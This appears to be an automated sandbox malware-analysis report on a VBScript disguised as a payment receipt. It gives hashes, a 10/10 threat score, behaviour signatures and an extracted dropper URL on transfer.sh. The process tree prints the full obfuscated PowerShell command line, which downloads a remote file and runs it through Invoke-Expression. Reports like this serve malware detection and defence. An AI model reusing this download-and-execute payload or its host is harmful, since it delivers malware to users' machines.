Overview

overview

10

Static

static

Y81N365C4_...PT.vbs

windows7_x64

10

Y81N365C4_...PT.vbs

windows10_x64

10

Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    05/01/2022, 08:22

Sharing

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General

  • Target
    Y81N365C4_PAYMENT_RECEIPT.vbs
  • Size 2KB
  • Sample220105-j9ll2aadfj
  • SHA256 de10822bc600d320a74d91bbd368bafc1a53b33dc80221fe0a679ae751d5f7e5
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://transfer.sh/get/oyVYmO/HHHHHHHHHHHHHHHH.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Y81N365C4_PAYMENT_RECEIPT.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1768
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &((gv '*MDR*').naMe[3,11,2]-joIN'') ( (('(0PG (Rd9&(Lz0PG+0PGS{0'+'PG+0PG0}Rd9+Rd0PG+0'+'PG9{1}LzRd0PG+0PG9+Rd0PG+0PG9S0PG+0PG-fRd9+Rd9X'+'EzIR0PG+0PGd0PG+0PG9'+'+R0PG+0PGd9EXEz,XEzR'+'d9'+'+Rd9XXEz)(.R0PG+0PGd0PG+0PG9+Rd9(0PG+0PGLRd9+Rd9z0PG+0PGS{10PG+0PG}{0}R0PG+0PGd9+R0PG+0PGd90PG+0PG{20PG+0PG}LzS -R0PG+0PGd90PG+0PG+Rd90PG+0PGfXERd0PG+0PG90PG+0PG+Rd0PG'+'+0PG9zORd9+Rd9bXEz,(LR0PG+0PGd0PG+0PG9+Rd90PG+0PGzS{1}0PG+0PGRd90PG+0PG+0PG+0PGR0PG+0PGd9{0Rd9+Rd9}LzS 0PG+0PG-f'+'Rd9+Rd9 0PG+0PGRd9+Rd90PG+0PGXEz0PG+0PGw-Rd9+0P'+'G+0PGRd9XEz,XE0PG+0PGz0PG+0PGRd0'+'PG+0PG9+R'+'d9N0PG+0PGeXEz)Rd9+Rd90PG+0PG,(0PG+0PGLz0PG+0PGS{0}{1R0PG+0PGd0PG+0PG9+Rd9}Rd9+Rd90PG+0PGLz0PG+0PGS-Rd9+Rd0PG+0PG9fXEz0PG+0PGjeXE0PG+0PGz0PG+0PG,XEzRd0PG+0PG9+Rd0PG+0PG9ctX0PG+0PGEz)) (LzS{2Rd90PG+0PG+R0PG+0PGd90PG'+'+0PG}{0}0PG+0PG{'+'0PG+0PG1Rd9+Rd9}LzSRd9+0PG+0PGRd0PG+0PG9-fRd9+Rd9 R'+'d90PG+0PG+Rd9(Lz0PG+0PGRd9+Rd0PG+0PG9S{1}{0}{0PG+0PG2Rd0PG+0PG90PG+0PG+R0PG+0PGd9}Rd9+Rd9LzS 0PG+0PG-f Rd9+Rd9XRd9+Rd9EzbCl0PG+0PGXEz,XEz.W0PG+0PGe0PG+0PGXR'+'d'+'9+Rd9ERd90PG+0PG+R0PG+0PGd90PG+0PGz,XEz0PG+0PGiX0PG+0PGEz)0PG+0PG,R0PG+0PGd9+Rd9XERd9+R0PG+0PGd9ze0PG+0PGntXEz,X0PG+0PGR0PG+0PGd9+R0PG+0PGd9EzNetXEz'+')).0PG+0PG(L0PG+0PGRd9+Rd9zRd90P'+'G+0PG+Rd90PG+0P'+'GS{Rd0PG+0PG90PG+0PG+Rd0PG+0PG90}{2Rd9+0PG'+'+0PGRd'+'9}0PG+0PG{3}{0PG+0PG1}{40PG+0PG}LRd90PG+0PG+Rd9zSRd9+Rd9 0PG+0PG-f XE0PG+0PGzDXERd9+Rd9z,Rd9+R0PG+0PGd9XEzdstXEz'+',XE0PG+0PGzow0PG+0PGnXERd'+'9+R0PG+0PGd9z,R0PG+0PGd9+0PG+0PGR0PG+0PGd90PG+0PGXEzloaXER0PG+0PGd90P'+'G'+'+0PG+Rd90PG+0PGz,(LRd0PG+0PG9+0P'+'G+0PGRd9z0PG+0PGRd9+Rd9S0PG+0PG{0}{1}LzRd9+Rd0PG+0PG9S -Rd9+0PG+0PGRd9fRd0PG'+'+0PG9+R'+'d9XEzrRd9'+'+R0PG+0PGd9iXEz,0PG+0PGX0'+'PG+0PGEzn0PG+0PGgXEz0PG+0PGRd9+Rd90'+'PG+0PG)).LRd9+Rd9'+'zSINRd9+Rd0PG+0PG9vOLGykERd9+Rd9'+'LzS(0PG+0'+'PGXEzhttps://transfer.sh/get/oyVYmO/HHHHHHHHHHHHHHHH.txtX0PG+0PGRd9+Rd9Ez)Rd0PG+0PG90PG+0PG).rEp'+'l0PG+0P'+'GacE(Rd9LGyRd9'+',0PG+0PGR0PG+0PGd9tYaRd0PG+0PG9).rEplacE(([cHaR]76+0PG+0PG[cHaR]122+[0PG+0PGcHaR0PG+0PG]0PG+0PG83),[STrinG]0PG+0PG[0PG+0PGc'+'HaR]34)0PG+0PG.rEplacE(([cHaR]80PG+0PG8+[cHaR]60PG+0PG9+[cHaR]120PG+0PG2),[0PG+0PGSTr'+'inG][cHa0PG+0PGR]30PG+0PG9)0c0PG'+'+0PGoIn0PG+0PGVo0PG+0PGkE-E0PG+0PGxpre'+'sSi0PG+0PGo0PG+0PGN0PG).rEplaCe(0PGRd90PG,[sTrIng][CHar]39).rEplaCe(0PG0co0PG,0PGvKO0PG).rEplaCe(([CHar'+']116+[CHar]89+[CHar]97),[sTrIng][CHar]96)vKO .( kSfEnV:COmspeC[4,24,25]-jOIN0'+'PG0PG)') -replace ([CHaR]118+[CHaR]75+[CHaR]79),[CHaR]124-crEpLace([CHaR]48+[CHaR]80+[CHaR]71),[CHaR]39 -replace 'kSf',[CHaR]36))
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1356

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1356-57-0x000007FEF2CE0000-0x000007FEF383D000-memory.dmp
        Download

        memory/1356-58-0x0000000002820000-0x0000000002822000-memory.dmp
        Download

        memory/1356-60-0x0000000002824000-0x0000000002827000-memory.dmp
        Download

        memory/1356-59-0x0000000002822000-0x0000000002824000-memory.dmp
        Download

        memory/1356-61-0x000000001B750000-0x000000001BA4F000-memory.dmp
        Download

        memory/1356-62-0x000000000282B000-0x000000000284A000-memory.dmp
        Download

        memory/1768-54-0x000007FEFBC31000-0x000007FEFBC33000-memory.dmp
        Download